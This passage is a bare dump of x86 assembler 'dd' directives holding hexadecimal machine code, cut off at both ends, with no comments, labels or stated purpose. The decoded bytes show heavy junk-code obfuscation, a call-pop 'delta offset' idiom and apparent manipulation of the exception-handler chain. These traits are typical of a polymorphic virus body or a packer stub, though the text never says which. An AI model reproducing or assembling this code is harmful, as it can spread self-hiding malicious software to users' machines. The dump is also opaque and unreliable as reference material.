55450000h, 8D8944C3h, 6072F15h dd 24048950h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0F4C35646h, 0FD9D91Dh, 484h, 0A7BF6600h, 0F5006AD7h dd 0BD2B006Ah, 6072F55h, 1BCD95FFh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 8B5FA3C3h dd 814288ECh, 0A5B79D8Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0D79868C3h, 14E99A99h dd 27000000h, 3DE09B0Ah, 269F39D9h, 7C814869h, 689EBD65h dd 0FF63BDA8h, 0EE8153D3h, 3C0F2570h, 0A585FF5Eh, 6A06070Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0BEF7C353h, 0E59529FCh, 0E906070Fh, 97Dh dd 0E8h, 0ED815D00h, 60B17D8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0B0C35242h, 0A61B5E87h, 8BDC7FC3h dd 70591B5h, 0CE816606h, 0BD81D6AFh, 6072CDDh, 7D0h, 19A860Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 481895C3h, 8BA309E6h, 0F7B70FF1h, 180D9D8Bh dd 0F7810607h, 32B90EEBh, 100E381h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 276C42C3h dd 9627CB21h, 6890F9Dh, 51000000h, 4F35BF66h, 0FDB0B5Eh dd 9B85h, 83F08B00h, 0B1612BDh, 840F0006h, 3Ch, 1A18589h dd 9CE90607h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0C73FC350h, 599EBC5Ch dd 0A830Fh, 89600000h, 7020D95h, 61616006h, 161285C7h dd 1060Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FBC04C3h, 12E9F1B7h, 41000000h dd 5F3FEB26h, 0EA1A8AF7h, 0DD94400Ah, 0E67B9B63h, 25E98Ah dd 60600000h, 616160F9h, 61D6B70Fh, 161285C7h, 60Bh, 0B5890000h dd 6071E7Dh, 6E9h, 4F479600h, 8DD0F7A5h, 7180D9Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B8CB620h, 70461B5h, 0CABE6606h, 3CBE66F7h, 0FF2381FBh dd 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 7A49C352h, 5380C92h, 0F53FCECCh dd 8E960h, 7EE0000h, 0C060914Eh, 860F675Ch, 3, 61CFBF0Fh dd 0FDB8C66h, 0C3F6F7BFh, 8F840F04h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0C0C7C351h, 95FF927Dh, 607335Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 86C35747h, 0E9B7C58Bh, 11h dd 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h, 9B5893Ah dd 50060706h, 8E9h, 6F2FC500h, 1BD3808Eh, 24048985h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5C35646h, 29E92EA4h dd 6A000005h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 7F78C350h, 6A00B0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B58941C3h dd 60705FDh, 852970E6h, 6071509h, 0BD2B71E4h, 6070B31h dd 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 273AC352h, 9D89F78Bh, 6072AF9h dd 6BAh, 158D8900h, 8B060700h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 8BC15997h dd 6890Fh, 9D010000h, 60721A9h, 6A04E8C1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D85DC356h dd 13E8CAh, 5B9E0000h, 70D7694Fh, 67534BCCh, 18CA6C37h dd 960C7097h, 9E824h, 53980000h, 0C74A4302h, 0FEACC61h dd 8Eh, 0E95F5E00h, 6, 59D54F77h, 0F7666FB7h, 55006AE2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0BE409405h, 88F0F61h, 57000000h, 2E9DB509h, 8B5E0607h dd 73145BDh, 6AD82B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 9857C351h, 490F3CCh dd 0ECC100D5h, 5820Fh, 0C7BE0000h, 505BC980h, 8B241C89h dd 70379B5h, 0DDB5FF06h, 6A06072Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E566C355h dd 89E635B0h, 723159Dh dd 195FF06h, 6A060732h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 6BE4C352h, 0C53638C7h dd 6018589h, 0B00607h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0AC35242h, 253B18EEh, 70E65339h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 74C35646h, 0E3F0125Fh dd 5E98032h, 4B000000h, 59B4D8C7h, 0FA8B71E4h, 5820Fh dd 81660000h, 3CB1DECEh, 0E9830F61h, 6A000002h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 93ECC355h, 0D8B60F2Fh, 32DDB529h, 6BA0607h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 86C1C356h, 0F5E43D0Dh, 1549B529h, 0C38B0607h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 2BC35040h dd 0BE90Dh, 6C9B0000h, 982313AEh, 66BF1E88h, 80BF6610h dd 4E8C1FCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 24C35242h, 5B73FD3h, 99EECE1h, 0D9B5010Bh, 81060732h dd 775E86C7h, 0E2F76636h, 1841BD89h, 0D82B0607h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 46C35747h, 8B602A4Fh dd 730A5B5h, 0F1BD8B06h, 6106070Fh, 0AE958h, 5B0F0000h dd 0E079A96Eh, 0FAAB2A2Bh, 880FD82Bh, 1E0h, 2D79B58Bh dd 7B90607h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 8CB0C351h, 9E7F7560h dd 8B6718BAh, 14E9F9h, 0AA80000h, 0B9F11206h, 0BBCCC0F0h dd 5C94B12Eh, 2C37A7FBh, 0C183F062h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 9CD4A839h dd 0CDB52BC2h, 3B060723h, 65860FD9h, 8B000001h, 721F1BDh dd 0D98C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0C35343h, 96D4AAE5h, 8968D51Ch, 717E1B5h, 4C1F606h dd 105840Fh, 0B58B0000h, 6070C45h, 335D95FFh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 60DFF4C3h, 0A73944Eh, 8B621D7Fh, 731A1BDh, 6A5B06h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0B2A489C3h, 0D7486F99h, 0F94FD4C9h, 6AC32Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0D1EC22C3h, 0EB15F3BFh, 0C97CBE44h, 343D62D0h, 0F000008h dd 7286h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 7BC45B1Dh, 0E81CED59h, 12h, 25025569h dd 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 0AE9474Ah, 6D000000h dd 9D0C0DEFh, 0E1BEC0F2h, 49E95EF7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 5382C355h, 5EF8BF0Fh, 8BF18B66h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 37200F44h dd 2219812Fh, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 61C35040h, 0BE3779A6h, 4185C72Eh, 99060709h dd 8B358087h, 717D9B5h, 66C08B06h, 0BD81F98Bh, 6072CDDh dd 7D0h, 18850Fh, 800F0000h, 0 dd 2CDD85FFh, 0B58B0607h, 60721B1h, 21D9BD89h, 0B5FF0607h dd 6072CDDh, 320195FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0FF337EC3h, 0F1B70F9Dh dd 59950956h, 5E06071Ah, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 89C991A9h, 707D995h, 998D8906h dd 66060701h, 0EDE6EE81h, 2F79BD8Bh, 0DE80607h, 6A000000h dd 4F9DE351h, 802EE8FBh, 0A3DAAFB3h, 33FE8B66h, 72B49BDh dd 6A5E06h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 9B19F8C3h, 0BDBD03E9h, 5706072Ah, 3E1BD29h dd 8B5E0607h, 0F6B70FF0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 8AC35343h, 0F681BC15h, 6063506Fh, 14E9h dd 0AC1AFC00h, 3F7FDC06h, 69B08983h, 13018B62h, 0E566FADCh dd 52006AB0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F38B6683h, 19D9BD8Bh, 0B58B0607h, 6071C9Dh dd 795B533h, 0BD030607h, 607315Dh, 1CD9B529h, 840F0607h dd 5, 86BF66F8h, 0F6AAE93Ah, 6AFFFFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 766E5EC3h dd 28FC558Bh, 8B66216Fh, 6A60F2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 2F10DC3h, 0ABA1A5A9h dd 0FFFFFEB9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 616C04B9h, 2DF1FE8Bh dd 38C0Fh, 8B660000h, 9D8D21DFh, 8B060710h, 258D21F8h dd 0F060731h, 890FD2B7h, 6, 23A1BD8Bh, 8D8B0607h, 607109Dh dd 184DBD89h, 0E1830607h, 6850F01h, 9000000h, 71CF595h dd 258D8B06h, 8B060731h, 72FED9Dh, 1E18306h, 6850Fh, 8D890000h dd 607176Dh, 0BD0B6061h, 6070F71h, 0FFFFFEB9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 20908F9Dh, 0F0B5082Eh, 11E8160Ch, 70000000h, 28681EDBh dd 0B88BDB6Bh, 0CC4CB56Ch, 0C17817E7h, 3211B503h, 215A0607h dd 71C5D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 8F3F1BDDh, 0ADA95A22h, 858D2114h dd 8B06071Dh, 71255B5h, 5D8D8B06h, 6006071Ch, 3840Fh, 0BF0F0000h dd 8361F9CAh, 850F01E1h, 26h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 92C35343h, 2FF3795Ah, 1F419D8Bh dd 8D8B0607h, 6071D85h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 1CC35747h, 0FC8E73D8h, 0A1BD313Bh, 5606071Eh dd 33618589h, 835F0607h, 850F01E1h, 1, 666061F5h, 0F11FF081h dd 0FFFFFEB9h, 99BD29FFh, 21060706h, 709418Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 75B8AA71h, 979ED2C7h, 9E8C7A6h, 0E000000h, 1C852119h dd 458DE752h, 1ED58589h, 0E95B0607h, 0Ch, 37696F20h, 92C664AEh dd 1F1D8AE0h, 2F3D8D21h, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 499974C3h, 0D880B485h dd 418D8B0Bh, 0F5060709h, 3FE61BEh, 1E1831Dh, 3850Fh, 0F8510000h dd 3D8D8B5Fh, 6A06072Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 1BA1C350h, 0E183B5B6h dd 6850F01h, 9000000h, 70445B5h, 6A606106h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0F171C357h dd 0FFFEB95Eh, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B4F2DC3h, 1A6D858Bh, 8D210607h dd 607180Dh, 0CA1CA81h, 8D211051h, 6071821h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CEC35141h, 81660C9Dh dd 8B1D79CEh, 7180D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F641B84h, 686h, 41858900h dd 8306072Fh, 850F01E1h, 0Ch, 1FE19D23h, 0EB810607h, 6C5711C0h dd 18218D8Bh, 81660607h, 83FA22D0h, 850F01E1h, 1Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C3C35242h, 6A6061C6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 4F57C350h, 0FB62DB5h, 48Ch, 83BE6600h, 0DD85C7BEh dd 0D006072Ch, 6A000007h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 4109C351h, 759D898Ah dd 6106070Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 2FC35242h, 0B76823E3h, 0B8BD6F34h, 3A0056E7h, 9D6107EBh dd 0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 9923A279h, 0B95EF55Eh, 3820Fh, 0E4800000h dd 57006A0Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 90990DAAh, 0FA7364Ah, 68Dh, 0F1853100h dd 6606072Ch, 7314F181h, 8060C18Bh, 0C08BE8E1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 67C35242h, 2D85893Dh dd 0BE06070Ch, 6077C43Bh, 850Fh, 0BD830000h, 6073101h dd 83097500h, 70A55BDh, 19740006h, 0C08B5350h, 438B8h dd 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h, 55BD8358h dd 6070Ah, 53501774h, 438B8h, 0AD858900h, 8D06072Bh, 9B0E19Dh dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0D055C73Eh, 3309B523h, 0C08B0607h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 16C35343h dd 83AE815h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 6E384FC3h, 5F722BE8h, 11E9h, 45C2F00h dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 8589AC63h, 607123Dh dd 5E8h, 50452C00h, 11E968FEh, 0C5000000h, 0B3303502h dd 0BE9E5B5Fh, 0B5193AB7h, 0A4822CD7h, 7D6E85Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 207DAEC3h, 0E960AB95h, 9, 5E47EFE7h, 58D10F5Bh, 858961DFh dd 6072C11h, 0E899E580h, 798h, 0A69B58Bh, 85890607h, 60722C9h dd 0E181F88Bh, 274783E5h, 77FE8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0EE097B14h dd 0C03AEC9Dh, 0D9D89B6h, 23060726h, 70825BDh, 85858906h dd 6A06070Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 2014C357h, 0D997F7C2h, 723E8h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0C2A5C05Fh, 55B5E78Ah, 0E7816646h, 0BD8B3862h dd 607095Dh, 0C358589h, 0AFB90607h, 0E85C92BAh, 6E4h dd 89F6B70Fh, 730A185h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 29C78BB8h, 701B9BDh, 6B2E806h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0D5164DC3h, 0EB700C6Ah, 0BCBF6911h, 89223CB6h dd 7304185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0BBEB421Ah, 81F9603Fh, 52FCE7CBh dd 8D8B6150h, 60707C9h, 64FE8h, 0C8BF0F00h, 2B218589h dd 0DF810607h, 0AD7583Ah, 63BE8h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0CA01B051h dd 98EF721Bh, 3B2E181h, 85890B5Ch, 60732C9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C0C35141h, 422A5011h dd 0E8F7535Bh, 5E4h, 858589FCh, 6A060729h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B66C356h dd 71DEDBDh, 0E8F28B06h, 5B4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0BDC35242h, 39CD7813h, 0BD01BA6Bh dd 6072F25h, 1E198589h, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 525438C3h, 0B2F3864Fh dd 358D8B3Eh, 0E8060729h, 558h, 0FF86060h, 8061FABFh, 8961ECECh dd 71CF185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 25E83A70h, 6A000005h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3CAEC351h dd 0AE9h, 13626100h, 7B52A837h, 8946E1DFh, 7231185h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 3416098h, 0CDE88BBAh, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 808BC352h dd 85899FD9h, 6072215h, 23F9BD09h, 81660607h, 0E8DFBAEEh dd 498h, 1BD2953h, 5E06072Bh, 12E59529h, 85890607h, 6070BA5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 3FC35646h dd 0C542E470h, 19CD8D89h, 59E80607h, 89000004h, 710798Dh dd 0DD858906h, 80060712h, 0B098EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 83C35343h, 0AFB4B618h, 4BB1CF15h dd 125DBD29h, 0B60F0607h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 553DC445h dd 6BABEh, 8D890000h, 60732E9h, 0C88BC38Bh, 7BB5C681h dd 0E8C1059Eh, 89BD0104h, 66060716h, 6AE2F7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 75EF85C3h dd 0EE8131E4h, 7E26E896h, 6E9D82Bh, 0DB000000h, 8AA75889h dd 0B550932Ah, 0B50393AFh, 60719E9h, 335D95FFh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 59C912C3h, 2BD18166h, 6A5B76h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 59446BC3h, 32E29120h dd 53A6AEE9h, 0F4D9589h, 8D5E0607h, 7264995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8A60BD63h, 1A8961CAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 84C35545h, 0CAB70F6Ch, 6A044289h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 79A9C350h, 812A2BE0h, 0EA685CDEh, 79958D51h, 6A060733h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 929C357h, 720DD85h, 7C98106h, 891E019Fh dd 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0F9B4722h, 5DB58B11h, 29060715h, 722BDBDh dd 4428906h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 4DC35343h, 0BEC0930Fh, 3681E813h, 0BF5958Dh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 14FF74C3h, 19A314A0h, 8E0FF6ECh, 5, 95D78166h, 158D0128h dd 89060716h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 5F2B7363h, 0BB839143h, 0BF0F9457h dd 44289CEh, 3E1B589h, 958D0607h, 60725F9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 16C35141h, 4AF3D46h dd 9E815A0Ah, 9D891A89h, 6071F35h, 6A044289h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 94DDC352h, 0D36D3118h, 0A69FB9D6h, 8DF6BF0Fh, 72FBD95h dd 0F99D8906h, 89060707h, 57006A1Ah, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1792E761h dd 33172F7Dh, 70AE98Dh, 0B5896006h, 6070C2Dh, 102D8D8Bh dd 89610607h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8D59C0C3h, 72B3195h, 0C8B0F06h dd 0F000000h, 68Bh, 8C0F00h, 89000000h, 57006A1Ah, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 55B58BD7h, 8B06071Fh, 71D9DB5h, 4428906h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FCC35545h, 7F55846Eh dd 958DF9BEh, 6071101h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0DBC35141h, 27E95DD5h, 59BD8BD4h, 89060709h dd 0AD95891Ah, 8906072Dh, 81660442h, 8D837CD7h, 708C995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 9CB4D0Dh, 71B3195h, 79BD8B06h, 8906072Fh dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 4948A1B0h, 6C4F38E6h, 7E9h, 8ED51200h, 1676430Eh dd 29044289h, 72D8195h, 0C8E906h, 9E90000h, 0AD000000h dd 7C6623A1h, 0D7640560h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0EAEA7AC3h, 0BE87Ah dd 0D8E40000h, 0F897D0ABh, 0DF7D07B3h, 4FEE8173h, 5E32752Ch dd 9B9006Ah, 6A4E175Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 7EAB8EA8h, 8B98D29h, 6A0607h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 11C35141h dd 78206AD1h, 8904CB50h, 7304585h, 0D1BD8B06h, 0FF06072Dh dd 7334995h, 6AC306h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0C58AD7C3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0CAC35141h, 4B89ECBAh, 8BFFB70Fh dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 1BD8384h, 60731h, 0BD830975h, 6070A55h dd 50197400h, 0B8C08B53h, 438h, 217D8589h dd 9D8D0607h, 609B459h, 585BD3FFh, 0A55BD83h, 74000607h dd 0B8535017h, 438h, 217D8589h, 9D8D0607h, 609B0FAh, 585BD3FFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A0C35747h dd 0A6B950E7h, 5E4138C9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 66C35141h, 8ECFCC34h, 0AFE2BC20h, 0D8D89B3h dd 6606071Ah, 8580D181h, 858DC08Bh, 6071F19h, 1C699589h dd 0E9500607h, 0Ch, 0DF31FA99h, 3969E907h, 2F0BCF0Fh, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 9E0AC355h, 709DEADFh, 5E972h, 0D61F0000h dd 6AB24BADh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0BA4332ACh, 9D9D8BCBh, 6606072Eh dd 6A4FEDBFh, 0B7D88A00h, 4E858D42h, 6A060B32h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0F990C353h, 9FFA071Ah, 831E1CF1h, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 885D1AC3h dd 0C403CB2Dh, 60987063h, 8BD9B70Fh, 700ED9Dh, 8B906106h dd 0E86050F9h, 12h, 0FB97990Ah, 69ED9450h, 80C09485h, 0D2D67A15h dd 8B667137h, 8B665EC6h, 8B9061D7h, 723F1BDh, 31006A06h dd 7047DB5h, 8B006A06h, 719E99Dh, 0CD95FF06h, 6606071Bh dd 8DF141BBh, 0AA5B78Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 51B89698h, 519C9901h dd 71BD8950h, 5B060716h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 3AD078C3h, 0D7163F6Ch dd 1995BD83h, 0F010607h, 7685h, 26AF500h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 62C35343h, 8B901400h dd 0BF6650DEh, 6A90B9E7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 21AFC351h, 0EB95E0C3h dd 0FD95FFC4h, 6A060729h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0AFD1C353h, 0D8BF0F28h dd 0E9D88B66h, 0E6Eh, 0E8h, 0ED815D00h, 60B3258h, 1FC5B509h dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0E7C477C3h, 14E8BDDFh, 81000000h, 2FFFF5D9h dd 8957D6B9h, 293B1CFCh, 5C475D53h, 802DAF3Ch, 8D5F4CE7h dd 0A910A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0D359E917h, 0FCBBC302h, 24048950h dd 0FF64DA8Bh, 35h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 6B8A3E68h, 89876DFDh dd 72AB1B5h, 25896406h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BCC35343h dd 8AF10547h, 6076BAF4h, 0AE9h, 951A3700h, 7DCE7ADDh, 6166D900h dd 20ED9509h, 85FF0607h, 6070FA5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0E3C35646h, 0B9CAB34h, 510C011Ah dd 51E907BBh, 6AFF6A19h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0B8F4C350h, 3DBA858Fh dd 8B24283Bh, 72285BDh, 3DB5FF06h, 0F9060712h, 776339BFh dd 3595FF5Ch, 0E9060730h, 109h, 0E9FABF0Fh, 5, 655F3D36h dd 0F00B0BEh, 0A8Fh, 5E900h, 0FBA90000h, 0E67296B2h, 0C9B52970h dd 0E406070Fh, 58E0F71h, 0BB000000h, 11FBCEEh, 830F613Ch dd 0CDh, 332FDDBFh, 0C8B60F39h, 395BD89h, 6BA0607h, 0F000000h dd 0C18BD8B7h, 26B19589h, 0E8C10607h, 81666004h, 66CA72E1h dd 6661C78Bh, 0C82BE2F7h, 18418589h, 0D18B0607h, 0ECF8150h dd 5B7BF53Ch, 4E9h, 5DBB6600h, 49858BC7h, 8B060726h, 7C083FEh dd 6830Fh, 0BD2B0000h, 60729CDh, 6600C083h, 3B2A0EBFh dd 1E830FD0h, 0FC000000h, 58E9h, 0C800F00h, 0F000000h dd 68Ah, 759D3300h, 8906070Bh, 725D18Dh, 0D8D8B06h, 89060718h dd 722CD85h, 15CB8006h, 0F01E183h, 2884h, 0A98D0900h, 8306072Bh dd 7180DA5h, 0B756FE06h, 95895BCEh, 6072649h, 5C59D8Bh dd 0BD230607h, 6072EA5h, 0E9h, 6B58D00h, 6A060ACBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0CCB2C353h, 910F1B0Dh, 158DB7B7h, 1F8C0Fh, 13E80000h dd 70000000h, 224427Dh, 0BDE4B11Eh, 2BBEAAC7h, 44C267F8h dd 9D8B7E16h, 60722E9h, 